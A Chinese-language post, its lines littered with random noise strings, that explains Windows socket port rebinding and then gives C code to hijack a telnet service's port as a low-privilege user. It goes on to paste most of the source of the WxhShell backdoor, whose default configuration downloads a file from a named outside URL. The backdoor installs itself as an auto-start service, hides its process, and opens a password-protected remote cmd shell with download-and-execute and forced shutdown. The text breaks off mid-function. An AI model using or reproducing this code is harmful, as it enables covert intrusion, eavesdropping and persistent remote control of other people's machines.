在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?dKa;0\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
7Z`Mt9:Ht N[bRp saddr.sin_family = AF_INET;
%%+mWz a IglJEH[+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
H#|Z8^ *Ds wCU&Xb$F bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
),;D;LI{S _/jUs_W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Ku0H?qft( .kbr?N,' 这意味着什么?意味着可以进行如下的攻击:
Q k;Kn *qO]v9 j 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
i{|lsd(+ BbXU|QtY 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|z#m Iu-'o 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
;h,R?mU *dG}R#9Nv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
FYXw$7'l ^Cc8F3os= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
YHO;IQ5 +U+aWk 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
j(Fa=pi /zl3&~4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
OAW=Pozr9 Y/^[qD #include
|.Nr.4Yp #include
RP~vB#} #include
JtYYT/PB #include
1!>bhH}{D DWORD WINAPI ClientThread(LPVOID lpParam);
-}_cO|kk int main()
/63W\ {
waXDGdl0 WORD wVersionRequested;
^sT+5M^ DWORD ret;
?#BZ `H WSADATA wsaData;
.K|P& BOOL val;
W$ JY M3! SOCKADDR_IN saddr;
u\()E|?p SOCKADDR_IN scaddr;
ERfd7V<c> int err;
VMxYZkMNd_ SOCKET s;
P1)* q0 SOCKET sc;
x1m8~F int caddsize;
u}-d7-= HANDLE mt;
;OQ'B=uK DWORD tid;
aQ!9#d_D wVersionRequested = MAKEWORD( 2, 2 );
Pn'`Q S? err = WSAStartup( wVersionRequested, &wsaData );
X"hOHx5P if ( err != 0 ) {
M>?aa6@0 printf("error!WSAStartup failed!\n");
`d}W;&c return -1;
I" 8d5a} }
C
'B4 mmC saddr.sin_family = AF_INET;
j<l#qho{h
8qFUYZtY //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
69[V <1 -O~C m}e saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
yfSiByU saddr.sin_port = htons(23);
DC$7B`#D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6C:x6'5[ {
kf+JM/ printf("error!socket failed!\n");
JdaFY+f: return -1;
Yw~;g:= }
6?%]odI# val = TRUE;
]PR|d\O //SO_REUSEADDR选项就是可以实现端口重绑定的
I;Al?&uw if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4r_!>['`" {
_-@ZOhw& printf("error!setsockopt failed!\n");
n\Z^K return -1;
tv 4s12& }
I6K7!+;2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,pDp>-vI% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3
R5%N
~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
lp:_H-sG u{g]gA8s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:FoOQ[Q {
~8jThi
U ret=GetLastError();
KH>Sc3p printf("error!bind failed!\n");
`xISkW4 % return -1;
=:4' }
*4|9&PNLE listen(s,2);
W.yV/fu while(1)
gXq!a|eH {
k k
8R caddsize = sizeof(scaddr);
"%:7j!#X|I //接受连接请求
E=;BI">. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
NlA*\vco if(sc!=INVALID_SOCKET)
Z -pyFK\ {
Qe2m8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!(B_EM if(mt==NULL)
!aQIh {
S8*^ss>?^R printf("Thread Creat Failed!\n");
5+y@ ]5&g break;
8BHL }
F`fGz)Mk }
,"@w>WL<9 CloseHandle(mt);
Vn)%C_-]A }
i%xI9BO9 closesocket(s);
D4AEZgC F, WSACleanup();
IgLVn<5n return 0;
5XzrS-I+X@ }
'GrRuT< DWORD WINAPI ClientThread(LPVOID lpParam)
z8g=;>< {
btUq SOCKET ss = (SOCKET)lpParam;
;rNd701p" SOCKET sc;
`!zQ unsigned char buf[4096];
"w;08TX8 SOCKADDR_IN saddr;
M_tj7Q3
W long num;
zXQVUhL6 DWORD val;
3|q2rA DWORD ret;
/r>IV`n{ //如果是隐藏端口应用的话,可以在此处加一些判断
e-~hS6p( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=ZG<BG_ saddr.sin_family = AF_INET;
Er`TryN|} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
nARxn#<+ saddr.sin_port = htons(23);
~ af8p { if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1lbwJVY[ {
qO7fbql_ printf("error!socket failed!\n");
+VwV5iy[` return -1;
h{\t*U54' }
D`V6&_.p val = 100;
+z+F- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a4%`" {
k - FB ret = GetLastError();
'-`O.
4u return -1;
j0AwL7 }
Pl_^nFm0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1d`cTaQ- {
37#cx)p^f ret = GetLastError();
bi+9R-=& return -1;
P=2wkzeJj }
t5%TS:u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vxb@9eb!H {
Dq|GQdZ>o printf("error!socket connect failed!\n");
wc"9A~ closesocket(sc);
?vvG)nW closesocket(ss);
(m6EQoW^s+ return -1;
Ocyb c% }
kl=xu3j while(1)
[@ILc*2O {
SBC~QD>L+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Qy/uB$q{A //如果是嗅探内容的话,可以再此处进行内容分析和记录
FzVZs#O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
U4=]#=R~o num = recv(ss,buf,4096,0);
5~QhX22 if(num>0)
>8%M*-=p send(sc,buf,num,0);
lbd(j{h>4 else if(num==0)
vlvvi() break;
UnP|]]o:I num = recv(sc,buf,4096,0);
2.ew^D# if(num>0)
^1R"7h send(ss,buf,num,0);
Vu=] O/ =P else if(num==0)
aFyh, break;
,}KwP*:Z }
|hc\jb closesocket(ss);
l(#1mY5!q8 closesocket(sc);
[O(m/ return 0 ;
0',[J }
eap8*ONl (nq^\ZdF _p0)vT ==========================================================
@$oZ|ZkZ 0iF -}o 下边附上一个代码,,WXhSHELL
ndqckT@93 "sD1T3!\)Q ==========================================================
Z0aUHWms JwB"\&'1ZS #include "stdafx.h"
vmLpmxS fa4=h;>a+ #include <stdio.h>
5}
G:D #include <string.h>
,%kmXh #include <windows.h>
0t+])> #include <winsock2.h>
zz&vfO31J #include <winsvc.h>
p3 e|j #include <urlmon.h>
pcnl0o~ oXdel
Ju? #pragma comment (lib, "Ws2_32.lib")
=MxpH+spI #pragma comment (lib, "urlmon.lib")
j|mv+O !3@{U@*Z] #define MAX_USER 100 // 最大客户端连接数
v$;@0t:;# #define BUF_SOCK 200 // sock buffer
Je 31". #define KEY_BUFF 255 // 输入 buffer
lY8`5Uz $T?]+2,6; #define REBOOT 0 // 重启
cv]BV>=E #define SHUTDOWN 1 // 关机
Ch t%uzb, b4)k &*dfR #define DEF_PORT 5000 // 监听端口
O:._W< )nOE8y/ #define REG_LEN 16 // 注册表键长度
ctHEEFWm #define SVC_LEN 80 // NT服务名长度
<<sE`>) #jm@N7OZ // 从dll定义API
=DC3a3&% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
x)_r@l`$ix typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
NJm-%K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2QL?]Vo typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\sITwPA[z dZDK7UL // wxhshell配置信息
Z%OW5]q struct WSCFG {
b)`pZiQP int ws_port; // 监听端口
{yS;NU`2 char ws_passstr[REG_LEN]; // 口令
ws[/ int ws_autoins; // 安装标记, 1=yes 0=no
@D]lgq[ char ws_regname[REG_LEN]; // 注册表键名
Y&5.9 s@' char ws_svcname[REG_LEN]; // 服务名
Mb.4J2F ? char ws_svcdisp[SVC_LEN]; // 服务显示名
+(&|u q^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
T
pD; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*{|$FQnR>( int ws_downexe; // 下载执行标记, 1=yes 0=no
$ser+Jt= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ceG&,a$\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
A?r^V2+j *gDl~qNRoS };
NH4?q!'G ^Q\XGl // default Wxhshell configuration
qe%V#c struct WSCFG wscfg={DEF_PORT,
#Kl}= 1
4 "xuhuanlingzhe",
ot }6D 1,
#1gO?N(<= "Wxhshell",
|z*>ixK "Wxhshell",
3ev -Iqz "WxhShell Service",
+`Pmq}ey "Wrsky Windows CmdShell Service",
#kci=2q_ "Please Input Your Password: ",
Ha218Hy0W 1,
=k_UjwgN^ "
http://www.wrsky.com/wxhshell.exe",
r^5jh1 "Wxhshell.exe"
Cfv]VQQE };
p/&HUQQk kC`Rd:5 // 消息定义模块
zN")elBi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=)
}nLS3t char *msg_ws_prompt="\n\r? for help\n\r#>";
V^sc1ak1Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
P,ydt char *msg_ws_ext="\n\rExit.";
I .P6l*$ char *msg_ws_end="\n\rQuit.";
NbkK&bz char *msg_ws_boot="\n\rReboot...";
'Wp@b678 char *msg_ws_poff="\n\rShutdown...";
\0&SI1Yp char *msg_ws_down="\n\rSave to ";
?4[NNL V{ |[oIp char *msg_ws_err="\n\rErr!";
o(fy d)t char *msg_ws_ok="\n\rOK!";
fEwifSp. PIxjM> char ExeFile[MAX_PATH];
,H{={aln int nUser = 0;
d}+W"j; HANDLE handles[MAX_USER];
MUwxgAG`G int OsIsNt;
J|5Ay1eF-
~},W8\C> SERVICE_STATUS serviceStatus;
Z0\Iyc G SERVICE_STATUS_HANDLE hServiceStatusHandle;
t^U^Tr AY88h$a // 函数声明
2y%R:Mu int Install(void);
]r959+\$ int Uninstall(void);
Dr+ Ps int DownloadFile(char *sURL, SOCKET wsh);
nNQ-"t int Boot(int flag);
ShGp^xVj void HideProc(void);
) EXJ int GetOsVer(void);
]0-<> int Wxhshell(SOCKET wsl);
4Jykos2 void TalkWithClient(void *cs);
QN g\4% int CmdShell(SOCKET sock);
KGT3|)QN int StartFromService(void);
x<F$aXOS int StartWxhshell(LPSTR lpCmdLine);
T8Na]V5 K<RqBecB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&F6C VOID WINAPI NTServiceHandler( DWORD fdwControl );
K*+6`z#fMF +|&0fGv;d9 // 数据结构和表定义
Hi8Y6|y$D SERVICE_TABLE_ENTRY DispatchTable[] =
vyU!+mlc {
N|Habua<Xw {wscfg.ws_svcname, NTServiceMain},
DFy1 bg {NULL, NULL}
&,MFB };
m\-PU z&C -_>.f(1 // 自我安装
t$I|E int Install(void)
l"\uf(0K {
Yqj+hC6>, char svExeFile[MAX_PATH];
B9#;- QO HKEY key;
h<NRE0- strcpy(svExeFile,ExeFile);
y6%<zhs #PFO]j!_b // 如果是win9x系统,修改注册表设为自启动
D^?_"wjW if(!OsIsNt) {
MLS;SCl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u)~s4tP4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ab4LTF| RegCloseKey(key);
!y*oF{RZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U^ ?=
0+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J?D\$u: RegCloseKey(key);
1;&T^Gdj return 0;
tX?J@+ }
|GuEGmR }
GOVAb' }
ti9}*8 else {
;_tO+xL&
yL&/m~{s // 如果是NT以上系统,安装为系统服务
] .5OX84 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%?=)!;[ if (schSCManager!=0)
~L'nzquF {
a.,_4;'UE1 SC_HANDLE schService = CreateService
AP w6 (
E474l schSCManager,
])N%^Qe$U wscfg.ws_svcname,
=x
H~ww (D wscfg.ws_svcdisp,
KyLp?!|> SERVICE_ALL_ACCESS,
\ja `c)x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
XA3s],Rk SERVICE_AUTO_START,
&HL{LnLP@/ SERVICE_ERROR_NORMAL,
KY+]RxX svExeFile,
mHs:t{q NULL,
%h/! Y<% NULL,
hk;bk?:m NULL,
}\Z5{OA NULL,
Ub)M*Cq0(o NULL
D]u=PqHk2 );
@q)E=G1<o0 if (schService!=0)
N-%#\rPq. {
!01i%W' CloseServiceHandle(schService);
T 2|:nC)@ CloseServiceHandle(schSCManager);
g+|Bf&_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
f3&/r strcat(svExeFile,wscfg.ws_svcname);
%6i=lyH- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
fU
={a2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
C3.=GRg~l RegCloseKey(key);
MaErx\ return 0;
?Ib} }
2AK}D%jfc }
>{XScxaB` CloseServiceHandle(schSCManager);
m6MaX}&zv }
uV77E*+7\ }
yjpz_<7a= 7K :FeW'N return 1;
-tyaE }
yVYkuO >76 |:Nq // 自我卸载
[YE?OQ7# int Uninstall(void)
FL&dv {
TQ-KkH}y HKEY key;
LyP`{_"CM a}yR p if(!OsIsNt) {
OjATSmZ@@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FmI;lVF0j RegDeleteValue(key,wscfg.ws_regname);
<kbnu7?a* RegCloseKey(key);
q+%!<]7X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
MYx88y RegDeleteValue(key,wscfg.ws_regname);
4)nt$fW RegCloseKey(key);
tN!Bvj:C[M return 0;
3:AU: }
#90c$ dc }
1eiw3WU; }
-0DZ:: else {
h2;l1G, QgZJ`G-- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
s41adw> if (schSCManager!=0)
]-Lruq# {
}!B.K^@) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
y5%5O xB if (schService!=0)
m1y `v" {
+{*)}[w{x if(DeleteService(schService)!=0) {
5rN7':(H!% CloseServiceHandle(schService);
Gh+f1)\FA" CloseServiceHandle(schSCManager);
r?$&Z^ return 0;
zq=&4afOE }
8]]@S"ZM,\ CloseServiceHandle(schService);
5Pqt_ZWy }
O!
(85rp/ CloseServiceHandle(schSCManager);
H &fTh }
nl9kYE
[ }
c(&AnIlS :`5;nl63 return 1;
|0]YA }
dk:xnX% rXDJ:NP // 从指定url下载文件
;-Ado8 int DownloadFile(char *sURL, SOCKET wsh)
`u=oeM: {
5"uNj<.V HRESULT hr;
y($EK(cb char seps[]= "/";
3P`WPph char *token;
G<fS(q char *file;
wt\m+!u` char myURL[MAX_PATH];
tNB%eb{ char myFILE[MAX_PATH];
Y{j7Q4{ |?yE^$a strcpy(myURL,sURL);
xD^wTtT token=strtok(myURL,seps);
)@,N7Y1h while(token!=NULL)
IywiCMjH {
)r#,ML file=token;
hpas'H>J token=strtok(NULL,seps);
J@gm@ jLc }
K4Y'B
o4 $E @ouX? GetCurrentDirectory(MAX_PATH,myFILE);
jJ<;2e~OW strcat(myFILE, "\\");
(gDQ\t@3- strcat(myFILE, file);
;t~*F#p(! send(wsh,myFILE,strlen(myFILE),0);
[9J:bD send(wsh,"...",3,0);
r;'i<t{P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6"%@L{UQ if(hr==S_OK)
Wt"ww~h`( return 0;
z6 a,0&;-L else
bl`D+/V return 1;
i)[kubM 6N?#b66 }
1y~L8!:L %rw}u"3T // 系统电源模块
HM
90Sb int Boot(int flag)
qL,ka {
V07VwVD HANDLE hToken;
@ "0uM?_)- TOKEN_PRIVILEGES tkp;
#)FDl70S8 .Nk}Z9L]k if(OsIsNt) {
Ej{+U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!. p LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
hAlPl<BO#V tkp.PrivilegeCount = 1;
m|lM.]2_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]~'9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
HmW=t}! if(flag==REBOOT) {
<c(&T<$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_TrZ'iL}T return 0;
N6WPTUQ1mF }
}a'cm!" else {
. Jptj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
gU+ss return 0;
1z3]PA!R }
\FVNXUMU }
B#QL M^ else {
u |'8a1 if(flag==REBOOT) {
k?<i*;7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ma1(EJ/ return 0;
eVrnVPkM }
)=y.^@UT@ else {
Q*Y4m8wY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*q}FV2 return 0;
,}u,)7 }
i},d[ }
KM 5jl9Vv 'frWu6]<
4 return 1;
q ?(A!1(u }
}M^_Z#|, xUQdVrFU // win9x进程隐藏模块
'^e0Ud, void HideProc(void)
hI*`> 9l {
|y klT 'y< t/qo HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
b By'v/ if ( hKernel != NULL )
Ywmyr[Uh' {
pa>p% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
axOi5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
$y8mK|3.3u FreeLibrary(hKernel);
&ycjSBK }
0T(O'v}. E1#H{)G return;
'^8g9E.4K }
(Z5qf E=}6X9X // 获取操作系统版本
vz- 9<w;>a int GetOsVer(void)
yq1Gqbh
l {
tp7oc_s?. OSVERSIONINFO winfo;
tsck|;v winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
aXQ&@BZ{j GetVersionEx(&winfo);
AbL5 !' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
SE6>vKR/. return 1;
7F"3 <U@J else
3(MoXA* return 0;
>ze>Xr'm5= }
$K`_
K#A 4A;[sm^f // 客户端句柄模块
dUI3erO int Wxhshell(SOCKET wsl)
Rk}\)r\ {
MgHOj SOCKET wsh;
mluW=fE struct sockaddr_in client;
p 7
,f6kG DWORD myID;
[SK2 x4 ] gH
wfqx while(nUser<MAX_USER)
TViBCed40 {
{F<)z%^ int nSize=sizeof(client);
)>ug{M%g wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"w>rlsT<O if(wsh==INVALID_SOCKET) return 1;
tX@0:RX% 4 U3C~J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Tw2Xe S if(handles[nUser]==0)
0Ulxp closesocket(wsh);
5P-K *C& else
$Vo/CZW7 nUser++;
(}9cD^F0n }
$$k7_rs WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
r5D jCV" <9=zP/Q return 0;
X'YfjbGo }
n>u.3wL wYZy e^7 // 关闭 socket
W/b"a? wE{ void CloseIt(SOCKET wsh)
s.f`.o {
B0 6s6Q closesocket(wsh);
>_rzT9gX& nUser--;
` 52%XI ExitThread(0);
=9kj?
u~
}
kTr6{9L -0{T // 客户端请求句柄
d1UVvyH void TalkWithClient(void *cs)
}9{dR4hD {
b\kN_ `Af{H/qiI SOCKET wsh=(SOCKET)cs;
/p[|DJoM char pwd[SVC_LEN];
b{Z^)u2X char cmd[KEY_BUFF];
AQE
eIFH char chr[1];
*!._Ais,\ int i,j;
6XQ*:N/4al WAtg while (nUser < MAX_USER) {
D2Vb{ %(4. Ask' ! if(wscfg.ws_passstr) {
|z.Gh1GCy if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H+S~ bzz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
l[tY,Y:4qO //ZeroMemory(pwd,KEY_BUFF);
Dm7Y#)%8 i=0;
5LDQ^n while(i<SVC_LEN) {
6H(fk1E G>
f^ 2 // 设置超时
CnxK+1n l fd_set FdRead;
3$GY,B struct timeval TimeOut;
_<u8%\ FD_ZERO(&FdRead);
/X(@|tk: FD_SET(wsh,&FdRead);
@N,:x\
TimeOut.tv_sec=8;
N BV}4 TimeOut.tv_usec=0;
3r,1^h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
G3 Idxs if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6a "VCE] z7OZ4R: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*ge].E pwd
=chr[0]; ^+(A&PyP?
if(chr[0]==0xd || chr[0]==0xa) { *>H M$.?Q
pwd=0; r]8wOu-'
break; Q%M'[L?[
} o0zc}mm
i++; 08<k'Oi]
} F{#N6,T
!yoSMI-
// 如果是非法用户,关闭 socket 2rK-X_}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]_^"|RJ
} [@,OG-"&
$nUd\B$.=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t_[M&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *u|lmALs
DhtU]w}
while(1) { Sqp;/&Ji
)GiFkG
ZeroMemory(cmd,KEY_BUFF); an*]62 l
ltCwns
// 自动支持客户端 telnet标准 SREDM
j=0; (SgEt
while(j<KEY_BUFF) { %JP&ox|^&
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (cOND/S
cmd[j]=chr[0]; `c qH}2s#
if(chr[0]==0xa || chr[0]==0xd) { nx!qCgo
cmd[j]=0; yj}bY?4I
break; Ns+)Y^(5
} =yk Rki
j++; R-r+=x&
} 4*p_s8> >
9%p7B ~}E
// 下载文件 !$:0E
y(S
if(strstr(cmd,"http://")) { M iP[UCh
send(wsh,msg_ws_down,strlen(msg_ws_down),0); d1srV`
if(DownloadFile(cmd,wsh)) otmIu` h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b
xk'a,!S
else ^@|<'g.R-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >< <$
} <GL}1W"Ay
else { l>3M|js@/
Q{J"`d2
switch(cmd[0]) { ?6gDbE%
dXA{+<!!
// 帮助 Q%,o8E2~
case '?': { nZ2mEt
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fWtb mUq
break; A&NC0K}G!
} I3}HNGvU
// 安装 *6 z'+'
case 'i': { zh#OD{
if(Install()) ue6/EN;}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,$MWk(S
else 7AGZu?1]M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K^z5x#Yj
break; bl:a&<F
} ~cO?S2!W
// 卸载 9}%~w(P
case 'r': { |kBg8).B
if(Uninstall()) r)9i1rI+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _g^K$+F'}
else CI~hmL0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5@R15q@c6n
break; ~_dBND?
} K]H"qG.K
// 显示 wxhshell 所在路径 z. _C*c
case 'p': { ?{@!!te@3v
char svExeFile[MAX_PATH]; i#@ v_^ q
strcpy(svExeFile,"\n\r"); \jF" nl
strcat(svExeFile,ExeFile); vc>^.#7
send(wsh,svExeFile,strlen(svExeFile),0); ??$i*
break; BRo
R"#'
} IEIxjek
// 重启 P\*2c*,W;
case 'b': { W G3mQ\k
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dN$D6*
if(Boot(REBOOT)) V:,3OLL*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;*>QG6Fh
else { ((RpT0rP\
closesocket(wsh); c"%_]7
ExitThread(0); Gg}LC+Y
} ?j&~vy= T
break; 1eE]4Z4Q
} w{YtTZp3
// 关机 JL]k:i^`A
case 'd': { 7N} \1Di5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q^jqLT&w
if(Boot(SHUTDOWN)) ${TB2q}%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gpxb_}P
else { O9qKwn;q(
closesocket(wsh); , IMT '*
ExitThread(0); EvH(Po h
} 7b7%(
break; (_%JF[W
} $dVgFot
// 获取shell Q8DQ .C
case 's': { %WJ{IXlz
CmdShell(wsh); bY"eC i{K
closesocket(wsh); vZ_DG}n11
ExitThread(0); W)$|Hm:H
break; 5x1%oC
} cOZajC<G
// 退出 R
uFu,H-
case 'x': { U47k5s(J
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %T ,\xZ
CloseIt(wsh); %`s9yRk9>E
break; 9sO{1rF
} pxCGE[@`
// 离开 {*ko=77$*
case 'q': { V %{9o
send(wsh,msg_ws_end,strlen(msg_ws_end),0); *xZQG9`kt
closesocket(wsh);
jKb=Zkd
WSACleanup(); d9[6kQ]
exit(1); 0()9vTY+
break; Ro3I/NI>
} HhQPgjZ/
} x
w?9W4<
} ^Lg{2hjj
P :7l#/x_
// 提示信息 ('o; M:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h>L6{d1
} #r:Kg&W2FO
} MeK\eZ\
9/X v&<Tn
return; .U(SkZ`6
} -fSKJo#}|
i/O,`2
// shell模块句柄
&' Nk2{
int CmdShell(SOCKET sock) ++p&
x{
{ j9L+.UVI,
STARTUPINFO si; C(%5,|6
ZeroMemory(&si,sizeof(si)); T h- vG
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rY_C3;B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -JyODW#j
PROCESS_INFORMATION ProcessInfo; n4r( Vg1GS
char cmdline[]="cmd"; i_ODgc`H
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1Z$99
return 0; =|{,5="
} w3?t})PB&
Kz*AzB
// 自身启动模式 }&C!^v
o
int StartFromService(void) HU'`kimWb
{ [%)B%h`XGf
typedef struct KbuGf$Bv
{ gx>mKSzy
DWORD ExitStatus; #35S7G^ @`
DWORD PebBaseAddress; BI]ut|Qw
DWORD AffinityMask; ~cg+BAfu
DWORD BasePriority; W*/s4 N
